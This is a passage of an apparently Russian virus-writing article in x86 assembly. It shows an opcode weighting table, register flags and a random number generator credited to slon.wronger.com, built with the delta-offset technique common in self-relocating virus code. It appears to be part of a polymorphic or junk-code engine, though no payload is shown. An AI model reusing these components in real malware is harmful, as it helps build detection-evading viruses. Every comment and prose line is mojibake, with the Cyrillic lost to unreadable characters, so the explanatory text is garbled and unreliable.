dw 13 ; cmova r32,r32(0x0f)
dw 95 ; call near(0xe8)
;----[���������� ���������]----------------------------------------------------;
__generation dd 9
;----[����������������]--------------------------------------------------------;
__cross1 dd 0
__cross2 dd 0
;----[����������� ���������]---------------------------------------------------;
_eax equ 00000001h ;
_ecx equ 00000002h ;
_edx equ 00000004h ;
_ebx equ 00000008h ;
_esp equ 00000010h ; ����������� ���������
_ebp equ 00000020h ; ������� Z0MBiE :)
_esi equ 00000040h ;
_edi equ 00000080h ;
;------------------------------------------------------------------------------;
</src>
<p>��� ������ ������� ������ ���������� ����� ������ - ��������� ���������� �����.</p>
<src lang="asm">
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; ��������� ���������� ����� V. 0.3 (x) 2004 ���� http://slon.wronger.com ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; ��������: [0..eax-1] ;
;------------------------------------------------------------------------------;
; �������������: call r_init ;
; mov eax,������� ��������� ;
; call brandom32 ;
;------------------------------------------------------------------------------;
; ���������: ����� � ��������� [0..������� ���������] ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
;----[������������ ������������� ���������� ��������� �����]-------------------;
r_init:
push ebp eax edx ; ��������� � ����� ebp,eax,edx
call __delta1_ ;
__delta1_: pop ebp ; ��������� ������ ��������
sub ebp,offset __delta1_ ;
db 0fh,031h ; �������� ��������� �����
mov rand_seed,eax ;
pop edx eax ebp ; ��������������� edx,eax,ebp
ret ; ������� �� ������������
;----[������������ ��������� ��������� ����� � ���������]----------------------;
brandom32: ; ��� ������������
; ���������� ��������� �����
; � ��������� 0..eax-1
push edx ecx ebp ; ��������� � ����� edx,ecx,ebp
call __delta2_ ;
__delta2_: pop ebp ; ��������� ������ ��������
sub ebp,offset __delta2_ ;
imul eax,eax,100 ; �������� eax �� 100
push eax ; � ��������� eax � �����
call random32 ; �������� ������������
; ��������� ���������� �����
xor edx,edx ; �������� edx
pop ecx ; ��������������� ��������
; �� ����� � ecx
div ecx ; ����� eax �� ecx
xchg eax,edx ; �������� ������� � eax
xor edx,edx ; �������� edx
push 100 ; �������� � ecx - 100
pop ecx ;
div ecx ; ����� eax �� ecx
pop ebp ecx edx ; ��������������� ebp,ecx,edx,
ret ; ������� �� ������������
;----[������������ ��������� ���������� �����]---------------------------------;
random32:
push ebp
call __delta3_ ;
__delta3_: pop ebp ; ��������� ������ ��������
sub ebp,offset __delta3_ ;
mov eax,12345678h ;
rand_seed= dword ptr $-4 ;
imul eax,00019660Dh ;
add eax,03C6EF35Fh ; �������������� �������� ���
mov [ebp+rand_seed],eax ; ��������� ���������� �����
shr eax,16 ;
imul eax,[esp+4] ;
pop ebp
retn ; ������� �� ������������